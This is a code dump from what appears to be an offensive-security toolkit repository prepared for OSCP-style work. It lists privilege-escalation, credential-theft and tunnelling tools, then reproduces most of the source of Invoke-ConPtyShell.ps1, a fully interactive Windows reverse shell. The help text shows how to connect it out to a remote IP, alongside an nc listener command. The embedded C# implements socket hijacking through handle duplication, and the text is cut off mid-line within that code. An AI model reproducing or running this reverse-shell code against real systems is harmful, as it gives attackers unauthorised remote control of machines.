├── GodPotato.exe ├── OurSecret.exe ├── Powershell ├── Invoke-ConPtyShell.ps1 ├── Invoke-PowerShellTcp.ps1 ├── mini-reverse.ps1 ├── powercat.ps1 └── powershell_reverse_tcp_prompt.ps1 ├── PrintSpoofer64.exe ├── Privs └── linpeas.sh ├── Rubeus.exe ├── Seatbelt.exe ├── SharpEfsPotato.exe ├── Tunneling └── Ligolo │ ├── agent.exe │ └── proxy ├── kerbrute_linux_amd64 ├── mimikatz.exe ├── nc.exe └── subinacl.msi /OurSecret.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/OurSecret.exe -------------------------------------------------------------------------------- /Powershell/Invoke-ConPtyShell.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-ConPtyShell 2 | { 3 | <# 4 | .SYNOPSIS 5 | ConPtyShell - Fully Interactive Reverse Shell for Windows 6 | Author: splinter_code 7 | License: MIT 8 | Source: https://github.com/antonioCoco/ConPtyShell 9 | 10 | .DESCRIPTION 11 | ConPtyShell - Fully interactive reverse shell for Windows 12 | 13 | Properly set the rows and cols values. You can retrieve it from 14 | your terminal with the command "stty size". 15 | 16 | You can avoid to set rows and cols values if you run your listener 17 | with the following command: 18 | stty raw -echo; (stty size; cat) | nc -lvnp 3001 19 | 20 | If you want to change the console size directly from powershell 21 | you can paste the following commands: 22 | $width=80 23 | $height=24 24 | $Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height) 25 | $Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height) 26 | 27 | 28 | .PARAMETER RemoteIp 29 | The remote ip to connect 30 | .PARAMETER RemotePort 31 | The remote port to connect 32 | .PARAMETER Rows 33 | Rows size for the console 34 | Default: "24" 35 | .PARAMETER Cols 36 | Cols size for the console 37 | Default: "80" 38 | .PARAMETER CommandLine 39 | The commandline of the process that you are going to interact 40 | Default: "powershell.exe" 41 | 42 | .EXAMPLE 43 | PS>Invoke-ConPtyShell 10.0.0.2 3001 44 | 45 | Description 46 | ----------- 47 | Spawn a reverse shell 48 | 49 | .EXAMPLE 50 | PS>Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 30 -Cols 90 51 | 52 | Description 53 | ----------- 54 | Spawn a reverse shell with specific rows and cols size 55 | 56 | .EXAMPLE 57 | PS>Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 30 -Cols 90 -CommandLine cmd.exe 58 | 59 | Description 60 | ----------- 61 | Spawn a reverse shell (cmd.exe) with specific rows and cols size 62 | 63 | .EXAMPLE 64 | PS>Invoke-ConPtyShell -Upgrade -Rows 30 -Cols 90 65 | 66 | Description 67 | ----------- 68 | Upgrade your current shell with specific rows and cols size 69 | 70 | #> 71 | Param 72 | ( 73 | [Parameter(Position = 0)] 74 | [String] 75 | $RemoteIp, 76 | 77 | [Parameter(Position = 1)] 78 | [String] 79 | $RemotePort, 80 | 81 | [Parameter()] 82 | [String] 83 | $Rows = "24", 84 | 85 | [Parameter()] 86 | [String] 87 | $Cols = "80", 88 | 89 | [Parameter()] 90 | [String] 91 | $CommandLine = "powershell.exe", 92 | 93 | [Parameter()] 94 | [Switch] 95 | $Upgrade 96 | ) 97 | 98 | if( $PSBoundParameters.ContainsKey('Upgrade') ) { 99 | $RemoteIp = "upgrade" 100 | $RemotePort = "shell" 101 | } 102 | else{ 103 | 104 | if(-Not($PSBoundParameters.ContainsKey('RemoteIp'))) { 105 | throw "RemoteIp missing parameter" 106 | } 107 | 108 | if(-Not($PSBoundParameters.ContainsKey('RemotePort'))) { 109 | throw "RemotePort missing parameter" 110 | } 111 | } 112 | $parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine) 113 | Add-Type -TypeDefinition $Source -Language CSharp; 114 | $output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell) 115 | Write-Output $output 116 | } 117 | 118 | $Source = @" 119 | 120 | using System; 121 | using System.IO; 122 | using System.Text; 123 | using System.Threading; 124 | using System.Net; 125 | using System.Net.Sockets; 126 | using System.Net.NetworkInformation; 127 | using System.Runtime.InteropServices; 128 | using System.Diagnostics; 129 | using System.Collections.Generic; 130 | 131 | public class ConPtyShellException : Exception 132 | { 133 | private const string error_string = "[-] ConPtyShellException: "; 134 | 135 | public ConPtyShellException() { } 136 | 137 | public ConPtyShellException(string message) : base(error_string + message) { } 138 | } 139 | 140 | public class DeadlockCheckHelper 141 | { 142 | 143 | private bool deadlockDetected; 144 | private IntPtr targetHandle; 145 | 146 | private delegate uint LPTHREAD_START_ROUTINE(uint lpParam); 147 | 148 | [DllImport("kernel32.dll")] 149 | private static extern bool CloseHandle(IntPtr hObject); 150 | 151 | [DllImport("kernel32.dll", SetLastError = true)] 152 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 153 | 154 | [DllImport("Kernel32.dll", SetLastError = true)] 155 | private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); 156 | 157 | private uint ThreadCheckDeadlock(uint threadParams) 158 | { 159 | IntPtr objPtr = IntPtr.Zero; 160 | objPtr = SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); 161 | this.deadlockDetected = false; 162 | if (objPtr != IntPtr.Zero) Marshal.FreeHGlobal(objPtr); 163 | return 0; 164 | } 165 | 166 | public bool CheckDeadlockDetected(IntPtr tHandle) 167 | { 168 | this.deadlockDetected = true; 169 | this.targetHandle = tHandle; 170 | LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock); 171 | IntPtr hThread = IntPtr.Zero; 172 | uint threadId = 0; 173 | //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains... 174 | hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId); 175 | WaitForSingleObject(hThread, 1500); 176 | //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads. 177 | //just some waste of threads :( 178 | CloseHandle(hThread); 179 | return this.deadlockDetected; 180 | } 181 | } 182 | 183 | public static class SocketHijacking 184 | { 185 | 186 | private const uint NTSTATUS_SUCCESS = 0x00000000; 187 | private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004; 188 | private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005; 189 | private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023; 190 | private const int NTSTATUS_PENDING = 0x00000103; 191 | private const int WSA_FLAG_OVERLAPPED = 0x1; 192 | private const int DUPLICATE_SAME_ACCESS = 0x2; 193 | private const int SystemHandleInformation = 16; 194 | private const int PROCESS_DUP_HANDLE = 0x0040; 195 | private const int SIO_TCP_INFO = unchecked((int)0xD8000027); 196 | private const int SG_UNCONSTRAINED_GROUP = 0x1; 197 | private const int SG_CONSTRAINED_GROUP = 0x2; 198 | private const uint IOCTL_AFD_GET_CONTEXT = 0x12043; 199 | private const int EVENT_ALL_ACCESS = 0x1f0003; 200 | private const int SynchronizationEvent = 1; 201 | private const UInt32 INFINITE = 0xFFFFFFFF; 202 | 203 | 204 | private enum SOCKET_STATE : uint 205 | { 206 | SocketOpen = 0, 207 | SocketBound = 1, 208 | SocketBoundUdp = 2, 209 | SocketConnected = 3, 210 | SocketClosed = 3 211 | } 212 | 213 | private enum AFD_GROUP_TYPE : uint 214 | { 215 | GroupTypeNeither = 0, 216 | GroupTypeConstrained = SG_CONSTRAINED_GROUP, 217 | GroupTypeUnconstrained = SG_UNCONSTRAINED_GROUP 218 | } 219 | 220 | public enum OBJECT_INFORMATION_CLASS : int 221 | { 222 | ObjectBasicInformation = 0, 223 | ObjectNameInformation = 1, 224 | ObjectTypeInformation = 2, 225 | ObjectAllTypesInformation = 3, 226 | ObjectHandleInformation = 4 227 | } 228 | 229 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 230 | private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO 231 | { 232 | public ushort UniqueProcessId; 233 | public ushort CreatorBackTraceIndex; 234 | public byte ObjectTypeIndex; 235 | public byte HandleAttributes; 236 | public ushort HandleValue; 237 | public IntPtr Object; 238 | public IntPtr GrantedAccess; 239 | } 240 | 241 | [StructLayout(LayoutKind.Sequential)] 242 | private struct GENERIC_MAPPING 243 | { 244 | public int GenericRead; 245 | public int GenericWrite; 246 | public int GenericExecute; 247 | public int GenericAll; 248 | } 249 | 250 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 251 | private struct OBJECT_TYPE_INFORMATION_V2 252 | { 253 | public UNICODE_STRING TypeName; 254 | public uint TotalNumberOfObjects; 255 | public uint TotalNumberOfHandles; 256 | public uint TotalPagedPoolUsage; 257 | public uint TotalNonPagedPoolUsage; 258 | public uint TotalNamePoolUsage; 259 | public uint TotalHandleTableUsage; 260 | public uint HighWaterNumberOfObjects;// PeakObjectCount; 261 | public uint HighWaterNumberOfHandles;// PeakHandleCount; 262 | public uint HighWaterPagedPoolUsage; 263 | public uint HighWaterNonPagedPoolUsage; 264 | public uint HighWaterNamePoolUsage; 265 | public uint HighWaterHandleTableUsage; 266 | public uint InvalidAttributes; 267 | public GENERIC_MAPPING GenericMapping; 268 | public uint ValidAccessMask; 269 | public byte SecurityRequired;//bool 270 | public byte MaintainHandleCount;//bool 271 | public byte TypeIndex; 272 | public byte ReservedByte; 273 | public uint PoolType; 274 | public uint DefaultPagedPoolCharge;// PagedPoolUsage; 275 | public uint DefaultNonPagedPoolCharge;//NonPagedPoolUsage; 276 | } 277 | 278 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 279 | private struct OBJECT_NAME_INFORMATION 280 | { 281 | public UNICODE_STRING Name; 282 | } 283 | 284 | [StructLayout(LayoutKind.Sequential)] 285 | private struct UNICODE_STRING 286 | { 287 | public ushort Length; 288 | public ushort MaximumLength; 289 | public IntPtr Buffer; 290 | } 291 | 292 | [StructLayout(LayoutKind.Sequential)] 293 | private struct WSAData 294 | { 295 | public short wVersion; 296 | public short wHighVersion; 297 | public short iMaxSockets; 298 | public short iMaxUdpDg; 299 | public IntPtr lpVendorInfo; 300 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] 301 | public string szDescription; 302 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] 303 | public string szSystemStatus; 304 | } 305 | 306 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] 307 | private struct WSAPROTOCOLCHAIN 308 | { 309 | public int ChainLen; 310 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] 311 | public uint[] ChainEntries; 312 | } 313 | 314 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] 315 | private struct WSAPROTOCOL_INFO 316 | { 317 | public uint dwServiceFlags1; 318 | public uint dwServiceFlags2; 319 | public uint dwServiceFlags3; 320 | public uint dwServiceFlags4; 321 | public uint dwProviderFlags; 322 | public Guid ProviderId; 323 | public uint dwCatalogEntryId; 324 | public WSAPROTOCOLCHAIN ProtocolChain; 325 | public int iVersion; 326 | public int iAddressFamily; 327 | public int iMaxSockAddr; 328 | public int iMinSockAddr; 329 | public int iSocketType; 330 | public int iProtocol; 331 | public int iProtocolMaxOffset; 332 | public int iNetworkByteOrder; 333 | public int iSecurityScheme; 334 | public uint dwMessageSize; 335 | public uint dwProviderReserved; 336 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] 337 | public string szProtocol; 338 | } 339 | 340 | [StructLayout(LayoutKind.Sequential)] 341 | private struct SOCKADDR_IN 342 | { 343 | public short sin_family; 344 | public short sin_port; 345 | public uint sin_addr; 346 | public long sin_zero; 347 | } 348 | 349 | [StructLayout(LayoutKind.Sequential)] 350 | private struct TCP_INFO_v0 351 | { 352 | public TcpState State; 353 | public UInt32 Mss; 354 | public UInt64 ConnectionTimeMs; 355 | public byte TimestampsEnabled; 356 | public UInt32 RttUs; 357 | public UInt32 MinRttUs; 358 | public UInt32 BytesInFlight; 359 | public UInt32 Cwnd; 360 | public UInt32 SndWnd; 361 | public UInt32 RcvWnd; 362 | public UInt32 RcvBuf; 363 | public UInt64 BytesOut; 364 | public UInt64 BytesIn; 365 | public UInt32 BytesReordered; 366 | public UInt32 BytesRetrans; 367 | public UInt32 FastRetrans; 368 | public UInt32 DupAcksIn; 369 | public UInt32 TimeoutEpisodes; 370 | public byte SynRetrans; 371 | } 372 | 373 | [StructLayout(LayoutKind.Sequential)] 374 | private struct linger 375 | { 376 | public UInt16 l_onoff; 377 | public UInt16 l_linger; 378 | } 379 | 380 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 381 | private struct IO_STATUS_BLOCK 382 | { 383 | public int status; 384 | public IntPtr information; 385 | } 386 | 387 | [StructLayout(LayoutKind.Sequential)] 388 | private struct SOCK_SHARED_INFO 389 | { 390 | public SOCKET_STATE State; 391 | public Int32 AddressFamily; 392 | public Int32 SocketType; 393 | public Int32 Protocol; 394 | public Int32 LocalAddressLength; 395 | public Int32 RemoteAddressLength; 396 | 397 | // Socket options controlled by getsockopt(), setsockopt(). 398 | public linger LingerInfo; 399 | public UInt32 SendTimeout; 400 | public UInt32 ReceiveTimeout; 401 | public UInt32 ReceiveBufferSize; 402 | public UInt32 SendBufferSize; 403 | /* Those are the bits in the SocketProerty, proper order: 404 | Listening; 405 | Broadcast; 406 | Debug; 407 | OobInline; 408 | ReuseAddresses; 409 | ExclusiveAddressUse; 410 | NonBlocking; 411 | DontUseWildcard; 412 | ReceiveShutdown; 413 | SendShutdown; 414 | ConditionalAccept; 415 | */ 416 | public ushort SocketProperty; 417 | // Snapshot of several parameters passed into WSPSocket() when creating this socket 418 | public UInt32 CreationFlags; 419 | public UInt32 CatalogEntryId; 420 | public UInt32 ServiceFlags1; 421 | public UInt32 ProviderFlags; 422 | public UInt32 GroupID; 423 | public AFD_GROUP_TYPE GroupType; 424 | public Int32 GroupPriority; 425 | // Last error set on this socket 426 | public Int32 LastError; 427 | // Info stored for WSAAsyncSelect() 428 | public IntPtr AsyncSelecthWnd; 429 | public UInt32 AsyncSelectSerialNumber; 430 | public UInt32 AsyncSelectwMsg; 431 | public Int32 AsyncSelectlEvent; 432 | public Int32 DisabledAsyncSelectEvents; 433 | } 434 | 435 | [StructLayout(LayoutKind.Sequential)] 436 | private struct SOCKADDR 437 | { 438 | public UInt16 sa_family; 439 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 14)] 440 | public byte[] sa_data; 441 | } 442 | 443 | [StructLayout(LayoutKind.Sequential)] 444 | private struct SOCKET_CONTEXT 445 | { 446 | public SOCK_SHARED_INFO SharedData; 447 | public UInt32 SizeOfHelperData; 448 | public UInt32 Padding; 449 | public SOCKADDR LocalAddress; 450 | public SOCKADDR RemoteAddress; 451 | // Helper Data - found out with some reversing 452 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 24)] 453 | public byte[] HelperData; 454 | } 455 | 456 | private struct SOCKET_BYTESIN 457 | { 458 | public IntPtr handle; 459 | public UInt64 BytesIn; 460 | } 461 | 462 | 463 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 464 | private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer); 465 | 466 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] 467 | private static extern IntPtr WSASocket([In] int addressFamily, [In] int socketType, [In] int protocolType, ref WSAPROTOCOL_INFO lpProtocolInfo, Int32 group1, int dwFlags); 468 | 469 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] 470 | private static extern Int32 WSAGetLastError(); 471 | 472 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] 473 | private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen); 474 | 475 | // WSAIoctl1 implementation specific for SIO_TCP_INFO control code 476 | [DllImport("Ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, EntryPoint = "WSAIoctl")] 477 | public static extern int WSAIoctl1(IntPtr s, int dwIoControlCode, ref UInt32 lpvInBuffer, int cbInBuffer, IntPtr lpvOutBuffer, int cbOutBuffer, ref int lpcbBytesReturned, IntPtr lpOverlapped, IntPtr lpCompletionRoutine); 478 | 479 | [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 480 | private static extern int closesocket(IntPtr s); 481 | 482 | [DllImport("kernel32.dll", SetLastError = true)] 483 | private static extern IntPtr OpenProcess(int processAccess, bool bInheritHandle, int processId); 484 | 485 | [DllImport("kernel32.dll", SetLastError = true)] 486 | [return: MarshalAs(UnmanagedType.Bool)] 487 | private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); 488 | 489 | [DllImport("kernel32.dll")] 490 | private static extern bool CloseHandle(IntPtr hObject); 491 | 492 | [DllImport("kernel32.dll")] 493 | private static extern IntPtr GetCurrentProcess(); 494 | 495 | [DllImport("ntdll.dll")] 496 | private static extern uint NtQueryObject(IntPtr objectHandle, OBJECT_INFORMATION_CLASS informationClass, IntPtr informationPtr, uint informationLength, ref int returnLength); 497 | 498 | [DllImport("ntdll.dll")] 499 | private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); 500 | 501 | [DllImport("kernel32.dll", SetLastError = true)] 502 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 503 | 504 | [DllImport("ntdll.dll")] 505 | private static extern int NtCreateEvent(ref IntPtr EventHandle, int DesiredAccess, IntPtr ObjectAttributes, int EventType, bool InitialState); 506 | 507 | // NtDeviceIoControlFile1 implementation specific for IOCTL_AFD_GET_CONTEXT IoControlCode 508 | [DllImport("ntdll.dll", EntryPoint = "NtDeviceIoControlFile")] 509 | private static extern int NtDeviceIoControlFile1(IntPtr FileHandle, IntPtr Event, IntPtr ApcRoutine, IntPtr ApcContext, ref IO_STATUS_BLOCK IoStatusBlock, uint IoControlCode, IntPtr InputBuffer, int InputBufferLength, ref SOCKET_CONTEXT OutputBuffer, int OutputBufferLength); 510 | 511 | [DllImport("Ws2_32.dll")] 512 | public static extern int ioctlsocket(IntPtr s, int cmd, ref int argp); 513 | 514 | //helper method with "dynamic" buffer allocation 515 | private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength) 516 | { 517 | if (infoLength == 0) 518 | infoLength = 0x10000; 519 | IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); 520 | while (true) 521 | { 522 | uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength); 523 | infoLength = infoLength * 2; 524 | if (result == NTSTATUS_SUCCESS) 525 | return infoPtr; 526 | Marshal.FreeHGlobal(infoPtr); //free pointer when not Successful 527 | if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL) 528 | { 529 | //throw new Exception("Unhandled NtStatus " + result); 530 | return IntPtr.Zero; 531 | } 532 | infoPtr = Marshal.AllocHGlobal(infoLength); 533 | } 534 | } 535 | 536 | private static IntPtr QueryObjectTypesInfo() 537 | { 538 | IntPtr ptrObjectTypesInformation = IntPtr.Zero; 539 | ptrObjectTypesInformation = NtQueryObjectDynamic(IntPtr.Zero, OBJECT_INFORMATION_CLASS.ObjectAllTypesInformation, 0); 540 | return ptrObjectTypesInformation; 541 | } 542 | 543 | // this from --> https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h 544 | private static long AlignUp(long address, long align) 545 | { 546 | return (((address) + (align) - 1) & ~((align) - 1)); 547 | } 548 | 549 | // this works only from win8 and above. If you need a more generic solution you need to use the (i+2) "way" of counting index types. 550 | // credits for this goes to @0xrepnz 551 | // more information here --> https://twitter.com/splinter_code/status/1400873009121013765 552 | private static byte GetTypeIndexByName(string ObjectName) 553 | { 554 | byte TypeIndex = 0; 555 | long TypesCount = 0; 556 | IntPtr ptrTypesInfo = IntPtr.Zero; 557 | ptrTypesInfo = QueryObjectTypesInfo(); 558 | TypesCount = Marshal.ReadIntPtr(ptrTypesInfo).ToInt64(); 559 | // create a pointer to the first element address of OBJECT_TYPE_INFORMATION_V2 560 | IntPtr ptrTypesInfoCurrent = new IntPtr(ptrTypesInfo.ToInt64() + IntPtr.Size); 561 | for (int i = 0; i < TypesCount; i++) 562 | { 563 | OBJECT_TYPE_INFORMATION_V2 Type = (OBJECT_TYPE_INFORMATION_V2)Marshal.PtrToStructure(ptrTypesInfoCurrent, typeof(OBJECT_TYPE_INFORMATION_V2)); 564 | // move pointer to next the OBJECT_TYPE_INFORMATION_V2 object 565 | ptrTypesInfoCurrent = (IntPtr)(ptrTypesInfoCurrent.ToInt64() + AlignUp(Type.TypeName.MaximumLength, (long)IntPtr.Size) + Marshal.SizeOf(typeof(OBJECT_TYPE_INFORMATION_V2))); 566 | if (Type.TypeName.Length > 0 && Marshal.PtrToStringUni(Type.TypeName.Buffer, Type.TypeName.Length / 2) == ObjectName) 567 | { 568 | TypeIndex = Type.TypeIndex; 569 | break; 570 | } 571 | } 572 | Marshal.FreeHGlobal(ptrTypesInfo); 573 | return TypeIndex; 574 | } 575 | 576 | private static List DuplicateSocketsFromHandles(List sockets) 577 | { 578 | List dupedSocketsOut = new List(); 579 | if (sockets.Count < 1) return dupedSocketsOut; 580 | foreach (IntPtr sock in sockets) 581 | { 582 | IntPtr dupedSocket = DuplicateSocketFromHandle(sock); 583 | if (dupedSocket != IntPtr.Zero) dupedSocketsOut.Add(dupedSocket); 584 | } 585 | // cleaning all socket handles 586 | foreach (IntPtr sock in sockets) 587 | CloseHandle(sock); 588 | return dupedSocketsOut; 589 | } 590 | 591 | private static List FilterAndOrderSocketsByBytesIn(List sockets) 592 | { 593 | List socketsBytesIn = new List(); 594 | List socketsOut = new List(); 595 | foreach (IntPtr sock in sockets) 596 | { 597 | TCP_INFO_v0 sockInfo = new TCP_INFO_v0(); 598 | if (!GetSocketTcpInfo(sock, out sockInfo)) 599 | { 600 | closesocket(sock); 601 | continue; 602 | } 603 | // Console.WriteLine("debug: Socket handle 0x" + sock.ToString("X4") + " is in tcpstate " + sockInfo.State.ToString()); 604 | // we need only active sockets, the remaing sockets are filtered out 605 | if (sockInfo.State == TcpState.SynReceived || sockInfo.State == TcpState.Established) 606 | { 607 | SOCKET_BYTESIN sockBytesIn = new SOCKET_BYTESIN(); 608 | sockBytesIn.handle = sock; 609 | sockBytesIn.BytesIn = sockInfo.BytesIn; 610 | socketsBytesIn.Add(sockBytesIn); 611 | } 612 | else 613 | closesocket(sock); 614 | } 615 | if (socketsBytesIn.Count < 1) return socketsOut; 616 | if (socketsBytesIn.Count >= 2) 617 | // ordering for fewer bytes received by the sockets we have a higher chance to get the proper socket 618 | socketsBytesIn.Sort(delegate (SOCKET_BYTESIN a, SOCKET_BYTESIN b) { return (a.BytesIn.CompareTo(b.BytesIn)); }); 619 | foreach (SOCKET_BYTESIN sockBytesIn in socketsBytesIn) 620 | { 621 | socketsOut.Add(sockBytesIn.handle); 622 | // Console.WriteLine("debug: Socket handle 0x" + sockBytesIn.handle.ToString("X4") + " total bytes received: " + sockBytesIn.BytesIn.ToString()); 623 | } 624 | return socketsOut; 625 | } 626 | 627 | private static bool GetSocketTcpInfo(IntPtr socket, out TCP_INFO_v0 tcpInfoOut) 628 | { 629 | int result = -1; 630 | UInt32 tcpInfoVersion = 0; 631 | int bytesReturned = 0; 632 | int tcpInfoSize = Marshal.SizeOf(typeof(TCP_INFO_v0)); 633 | IntPtr tcpInfoPtr = Marshal.AllocHGlobal(tcpInfoSize); 634 | result = WSAIoctl1(socket, SIO_TCP_INFO, ref tcpInfoVersion, Marshal.SizeOf(tcpInfoVersion), tcpInfoPtr, tcpInfoSize, ref bytesReturned, IntPtr.Zero, IntPtr.Zero); 635 | if (result != 0) 636 | { 637 | // Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); 638 | tcpInfoOut = new TCP_INFO_v0(); 639 | return false; 640 | } 641 | TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0)); 642 | tcpInfoOut = tcpInfoV0; 643 | Marshal.FreeHGlobal(tcpInfoPtr); 644 | return true; 645 | } 646 | 647 | // this function take a raw handle to a \Device\Afd object as a parameter and returns a handle to a duplicated socket 648 | private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) 649 | { 650 | IntPtr retSocket = IntPtr.Zero; 651 | IntPtr duplicatedSocket = IntPtr.Zero; 652 | WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); 653 | int status = WSADuplicateSocket(socketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); 654 | if (status == 0) 655 | { 656 | // we need an overlapped socket for the conpty process but we don't need to specify the WSA_FLAG_OVERLAPPED flag here because it will be ignored (and automatically set) by WSASocket() function if we set the WSAPROTOCOL_INFO structure and if the original socket has been created with the overlapped flag. 657 | duplicatedSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, 0); 658 | if (duplicatedSocket.ToInt64() > 0) 659 | { 660 | retSocket = duplicatedSocket; 661 | } 662 | } 663 | return retSocket; 664 | } 665 | 666 | //helper method with "dynamic" buffer allocation 667 | public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength) 668 | { 669 | if (infoLength == 0) 670 | infoLength = Marshal.SizeOf(typeof(int)); 671 | IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); 672 | uint result; 673 | while (true) 674 | { 675 | result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength); 676 | if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL) 677 | { 678 | Marshal.FreeHGlobal(infoPtr); 679 | infoPtr = Marshal.AllocHGlobal((int)infoLength); 680 | continue; 681 | } 682 | else if (result == NTSTATUS_SUCCESS) 683 | break; 684 | else 685 | { 686 | //throw new Exception("Unhandled NtStatus " + result); 687 | break; 688 | } 689 | } 690 | if (result == NTSTATUS_SUCCESS) 691 | return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it 692 | else 693 | Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful 694 | return IntPtr.Zero; 695 | } 696 | 697 | public static List GetSocketsTargetProcess(Process targetProcess) 698 | { 699 | OBJECT_NAME_INFORMATION objNameInfo; 700 | long HandlesCount = 0; 701 | IntPtr dupHandle; 702 | IntPtr ptrObjectName; 703 | IntPtr ptrHandlesInfo; 704 | IntPtr hTargetProcess; 705 | string strObjectName; 706 | List socketsHandles = new List(); 707 | DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); 708 | hTargetProcess = OpenProcess(PROCESS_DUP_HANDLE, false, targetProcess.Id); 709 | if (hTargetProcess == IntPtr.Zero) 710 | { 711 | Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); 712 | return socketsHandles; 713 | } 714 | ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); 715 | HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); 716 | // create a pointer at the beginning of the address of SYSTEM_HANDLE_TABLE_ENTRY_INFO[] 717 | IntPtr ptrHandlesInfoCurrent = new IntPtr(ptrHandlesInfo.ToInt64() + IntPtr.Size); 718 | // get TypeIndex for "File" objects, needed to filter only sockets objects 719 | byte TypeIndexFileObject = GetTypeIndexByName("File"); 720 | for (int i = 0; i < HandlesCount; i++) 721 | { 722 | SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle; 723 | try 724 | { 725 | sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); 726 | } 727 | catch 728 | { 729 | break; 730 | } 731 | //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO 732 | ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))); 733 | if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject) 734 | continue; 735 | if (DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)) 736 | { 737 | if (deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)) 738 | { // this will avoids deadlocks on special named pipe handles 739 | // Console.WriteLine("debug: Deadlock detected"); 740 | CloseHandle(dupHandle); 741 | continue; 742 | } 743 | ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); 744 | if (ptrObjectName == 